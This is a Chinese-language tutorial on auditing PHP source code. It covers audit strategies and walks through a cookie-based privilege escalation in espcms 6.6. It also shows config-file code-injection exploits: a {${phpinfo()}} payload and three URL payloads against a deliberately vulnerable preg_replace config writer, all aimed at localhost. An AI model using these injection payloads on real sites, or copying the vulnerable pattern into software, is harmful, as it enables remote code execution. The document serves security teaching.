审计思路
正向
查找可控变量,正向追踪变量传递过程。
逆向
根据敏感关键字回溯参数传递过程。逆向:根据敏感关键字回溯参数传递过程。
- 优点:只需要搜索相应敏感关键字,既可以快速的挖掘想要的漏洞,具有可定向挖掘和高效、高质量的优点。
- 缺点:由于没有通读代码,对程序的整体框架了解不够深入,在挖掘漏洞时定位利用点会花费一点时间,另外对逻辑漏洞挖掘覆盖不到。
寻找敏感功能点
通读功能点代码(查看这些功能的特定文件是怎样存在的,独立的模块还是以插件形式,还是写在一个类里,然后多处调用)
- 文件上传功能
- 文件管理功能
- 登录认证功能
以WooYun-2015-90324漏洞为例,espcms版本为6.6。首先注册名为hahaxtu的用户,通过动态调试可以得知其用户ID为1。再次注册一个名为1test,查看其COOKIE,有如下两条数据:
通过阅读源码可以发现上述两个参数的加密方式相同,为此把ecisp_member_username的内容赋值给ecsip_member_info后后台可以正常解密。修改COOKIE进行动态调试过程如下:
修改之后请求中cookie值访问http://127.0.0.1/vuln/cms/espcms6.6/index.php?ac=membermain&at=center,如下:
在index.php的第72调用了interface/membermain.php中的 in_center() 函数,跟随进入其中
在 in_center() 函数的第24行调用了class_connection.php类的member_purview() 方法,跟随进入
此方法获取cookie值进行解密并赋值给变量,过程如下
经过上述处理,变量值如下
继续调试回到membermain.php的第33行,可以看到获取到了userid=1的用户的信息,如下:
上述漏洞产生的原因是后台仅仅通过userid来识别用户,而userid加密过后存储在cookie中为此变量用户可控,于此同时cookie中还存储的username加密后的内容,且加密方式与userid相同故可以通过构造username来进行越权操作。 - 找回密码功能
通读全文代码
- 了解目录结构,文件命名,文件大小及创建时间
- 查找函数集文件,通常命名为functions、common。
- 配置文件,通常命名为config关键字。配置文件可以让我们了解程序的小部分功能。且当配置文件中变量使用双引号时可能存在漏洞(双引号内部的变量会解析结合${}语法可以执行代码)。
- 双引号造成的漏洞实例
要利用这个漏洞需要首先登陆到后台页面然后选择管理后台,然后选择网络配置,修改基本设置中的站点名称为 {${phpinfo()}} 然后点击确定。
通过调试set.php页面可以看到POST数据中site_name参数即为所提交的站点名称。
继续跟随可以看到调用了m_add函数,跟随进入此函数
m_add()函数首先判断POST数据是否为空,倘若不为空则循环提取出数据并对其进行正则替换然后传入到set_config()函数,跟随进入此函数
可以看到这个函数通过正则替换将config.php中的内容修改为post中的值
请求处理完成后查看config.php中可以发现我们的payload已经写入成功。
访问config.php文件,页面如下所示:
- 单引号情况下的漏洞实例
下述例子引自admin-神风的博客,代码如下:
- 双引号造成的漏洞实例
index.php
<?php
if(!isset($_GET['option'])) die();
$str = $_GET['option'];//addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);
?>
config.php
<?php
$option='a';
?>
上述代码有以下三种利用方式:
第一种:
http://127.0.0.1/index.php?option=a';%0aphpinfo();//
http://127.0.0.1/index.php?option=a
使用浏览器访问第一个URL,代码中变量的变化过程如下:
通过上图可以看出,在config.php文件中的内容变为了:
接下来访问第二个URL,代码参数变化如下:
config.php文件中的内容变为:
访问config.php内容如下:
为此可以判断漏洞利用成功。此漏洞利用了正则匹配默认情况下不匹配换行符的特性。
第二种:
http://127.0.0.1/index.php?option=a\';phpinfo();//
访问上述URL后页面参数的变化过程如下图所示:
config.php中的内容如下图所示;
访问config.php页面内容如下所示:
为此可以判断漏洞利用成功。此漏洞利用了replacement参数经过正则匹配引擎处理时会将’\\‘变为’\'的特性。(replacement参数支持向后引用,所以它会经过正则匹配引擎 ?)
第三种:
http://127.0.0.1/test/index.php?option=;phpinfo();
http://127.0.0.1/test/index.php?option=$0
访问第一条URL,代码中参数变化过程如下:
接下来访问第二条URL,参数变化如下:
config.php文件中的内容如下:
访问config.php页面内容如下;
上述利用方式使用了正则表达式向后引用的特性,并且 $0表示完整匹配到的文本。
除上述利用方式外,在服务器端开启GPC并使用了addslashed函数的情况下,下面的利用方式也会生效,原理与第二种相同
http://127.0.0.1/index.php?option=a';phpinfo();//
-
安全过滤文件,这些文件到我们挖掘到的可疑点能不能利用,通常命名为filter、safe、check等关键字,这类文件主要是对参数进行过滤。
-
index文件,index文件是一个程序入口文件,通读此文件可以是我们大致了解
- 整个程序的架构
- 运行流程
- 包含的文件
- 核心文件
不同目录中的index文件也有不同的实现方式,建议将几个核心目录的index文件简单读一遍。